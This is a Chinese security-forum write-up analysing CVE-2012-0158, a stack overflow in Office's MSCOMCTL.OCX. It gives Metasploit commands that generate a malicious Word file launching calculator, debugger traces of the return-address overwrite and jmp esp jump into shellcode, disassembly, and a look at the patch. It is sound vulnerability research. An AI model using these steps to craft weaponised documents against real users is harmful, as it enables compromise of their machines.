[原创]CVE-2012-0158漏洞分析与复现-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

[原创]CVE-2012-0158漏洞分析与复现

发表于: 2021-8-23 16:13 13456

[原创]CVE-2012-0158漏洞分析与复现

Sal_Tay

2021-8-23 16:13

13456

Microsoft Office 是由微软公司开发的一套基于 Windows 操作系统的办公软件套装。常用组件有 Word、Excel、PowerPoint等。最新版本为Microsoft 365及Office 2019（正式版本）。

Windows系统下Microsoft Office 2003 SP3, 2007 SP2 和 SP3, 2010 和 2010 SP3。

官方文档链接

本次复现设置的payload为在目标系统中启动calculator.exe

(1) Kali中启动Metasploit生成木马文件

(2) 将word木马文件发送至靶机

(3) 运行word

可看到跳出计算器窗口

程序将参数传入栈中时没有检查传入的参数是否大于预定的长度，导致栈中关键数据被参数覆盖

从汇编角度讲，在函数执行retn返回前，ESP刚好指向栈中存放返回地址的+0x4地址，若是发生栈溢出，将函数的返回地址覆盖为jmp esp，剩下的部分覆盖为shellcode，程序就会在返回时自动跳转到shellcode地址，这种方法能够增加shellcode的写入空间，并且绕过ASLR。

参考《漏洞战争》及其配套资料，首先尝试运行配套资料中的poc.doc文件，会发生：

错误报告中显示出现了错误的访问地址0x41414141

使用二进制编辑器查看poc文件原格式：

看到41414141字符串

从DOCF11E0开始是OLE签名，从这里开始一直至结束部分能够被OffVis识别，通过将文件中这部分数据单独提取出来，并制成二进制文件，以放在OffVis中查看

制成二进制文件过程如下：

先将这部分数据复制到文档中

将文档中的十六进制的内容编码成二进制文件，这里使用python语言实现：

将输出的文件b放在OffVis中查看格式，搜索41414141十六进制内容，找到其位置

0x41414141位于Data字段

调试前需要先设置OD。首先打开选项-调试选项，取消图中忽略的中断和异常：

插件-StrongOD-Options，取消勾选Skip Some Exceptions

打开Microsoft Word，使用OD附加进程WINWORD，按F9运行后打开poc文件

继续按F9，让程序运行，此时系统发生报错，提示为：

查看栈中数据

可发现最近的返回地址为0x275C8A0A，在反汇编窗口中跟随：

可看到函数MSCOMCTL.275C876D，初步断定是这个函数引起的栈溢出，在这里设置断点，重新运行，到达断点处此时栈中还没有发生溢出

单步步入进一步确定发生溢出的位置，当运行到指令

发现栈中数据逐渐被覆盖，一直执行这个rep movs指令，栈的前后变化如图：

可以看到从0x001215DC开始，往下的数据被逐个覆盖掉，就此，成功找到发生栈溢出的函数MSCOMCTL.275C876D

测试过poc.doc后，尝试分析用msf生成的运行计算器的msf.doc

重新运行word并附加，F9，打开msf.doc文件，F9运行，由于之前测试poc时在函数MSCOMCTL.275C876D处设置了断点，此次运行时程序自动断在了此处，跟进后运行至

指令执行前后栈中变化如下：

图中可以看到栈中的返回地址被覆盖为27583C30，在反汇编窗口中查看该地址指令：

指令为jmp esp，使用跳板修改程序执行流，那么说明栈中返回地址以下（0x001215EC以下）的内容为shellcode，在数据窗口和反汇编窗口中跟随这部分内容

能够看到shellcode前面是一堆“滑板指令”，运行后内存数据无任何变化，一直运行这这里时：

能够看到一段循环指令，指令后方出现call 001217B1，单步执行这个循环发现数据窗口中地址0x001217B1的内容在逐渐发生变化，初步断定为shellcode在解码操作，将其全部解码后数据窗口如图所示：

继续跟进call 001217B1，在执行指令001217B4 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2]后发现寄存器EAX指向了字符串"calc", 继续向下执行 call ebp，此时系统弹出计算器，说明此步执行了运行计算器函数。继续运行后程序结束。

使用Ida打开C:\WINDOWS\system32\MSCOMCTL.OCX,查看地址0x275C8A0A所在的函数（从地址向上找push ebp），找到函数sub_275c89c7,分析该函数的代码：

在进入函数sub_275C876D之前堆栈还剩0x8大小的栈空间，F5转化为C伪代码如下：

从代码中看出，没有对输入的字符串进行限制大小，跟进sub_275C876D函数查看

用Ida打开修复后的MSCOMCTL.ocx查看，修复函数为sub_275D0076,要求长度必须等于8，否则退出程序。

恶意文件可以作为电子邮件附件发送，但攻击者必须说服用户打开附件才能利用该漏洞。

成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。与使用管理用户权限操作的用户相比，帐户配置为在系统上拥有较少用户权限的用户受到的影响较小。

《漏洞战争》

看雪：CVE-2012-0158 office缓冲区溢出漏洞报告【千字长文】

CSCD：CVE-2012-0158漏洞分析

感谢有毒版主提供的博客模板

搜索Adobe渗透模块  

msf > search cve-2012-0158
调用渗透模块  

msf > use 0

搜索Adobe渗透模块

msf > search cve-2012-0158

调用渗透模块

msf > use 0

设置payload为执行命令行  

msf  exploit(windows/fileformat/ms12_027_mscomctl_bof) > set payload 29
展示配置

msf  exploit(windows/fileformat/ms12_027_mscomctl_bof) > show options
设置命令为运行calculator.exe

msf  exploit(windows/fileformat/ms12_027_mscomctl_bof > set cmd calc
生成木马文件

msf  exploit(windows/fileformat/ms12_027_mscomctl_bof) > exploit

设置payload为执行命令行

msf exploit(windows/fileformat/ms12_027_mscomctl_bof) > set payload 29

展示配置

msf exploit(windows/fileformat/ms12_027_mscomctl_bof) > show options

设置命令为运行calculator.exe

msf exploit(windows/fileformat/ms12_027_mscomctl_bof > set cmd calc

生成木马文件

msf exploit(windows/fileformat/ms12_027_mscomctl_bof) > exploit

# 读取保存的txt文档

a = open('a.text')
 
# 将文档中的内容转为字符串形式

content = a.read()
 
# 将字符串以十六进制形式编码为二进制数据

content = content.decode('hex')
 
# 新建文件b

b = open('b', 'wr')
 
# 二进制数据写入文件中
b.write(content)
 
# 关闭文件
a.close()
b.close()

# 读取保存的txt文档

a = open('a.text')

# 将文档中的内容转为字符串形式

content = a.read()

# 将字符串以十六进制形式编码为二进制数据

content = content.decode('hex')

# 新建文件b

b = open('b', 'wr')

# 二进制数据写入文件中

b.write(content)

# 关闭文件

a.close()

b.close()

275C87CB F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi]

.text:275C89C7                 push    ebp

.text:275C89C8                 mov     ebp, esp

.text:275C89CA                 sub     esp, 14h   ; 开辟了0x14站空间

.text:275C89CD                 push    ebx

.text:275C89CE                 mov     ebx, [ebp+bstrString]

.text:275C89D1                 push    esi

.text:275C89D2                 push    edi

.text:275C89D3                 push    0Ch             ; dwBytes

.text:275C89D5                 lea     eax, [ebp+var_14]

.text:275C89D8                 push    ebx             ; lpMem

.text:275C89D9                 push    eax             ; int

.text:275C89DA                 call    sub_275C876D

.text:275C89DF                 add     esp, 0Ch    ; 用掉0xC，还剩0x8

.text:275C89E2                 test    eax, eax

.text:275C89E4                 jl      short loc_275C8A52

.text:275C89E6                 cmp     [ebp+var_14], 6A626F43h

.text:275C89ED                 jnz     loc_275D3085

.text:275C89F3                 cmp     [ebp+dwBytes], 8

.text:275C89F7                 jb      loc_275D3085

.text:275C89FD                 push    [ebp+dwBytes]   ; dwBytes

.text:275C8A00                 lea     eax, [ebp+var_8]

.text:275C8A03                 push    ebx             ; lpMem

.text:275C8A04                 push    eax             ; int

.text:275C8A05                 call    sub_275C876D    ; 出现溢出的函数

.text:275C8A0A                 mov     esi, eax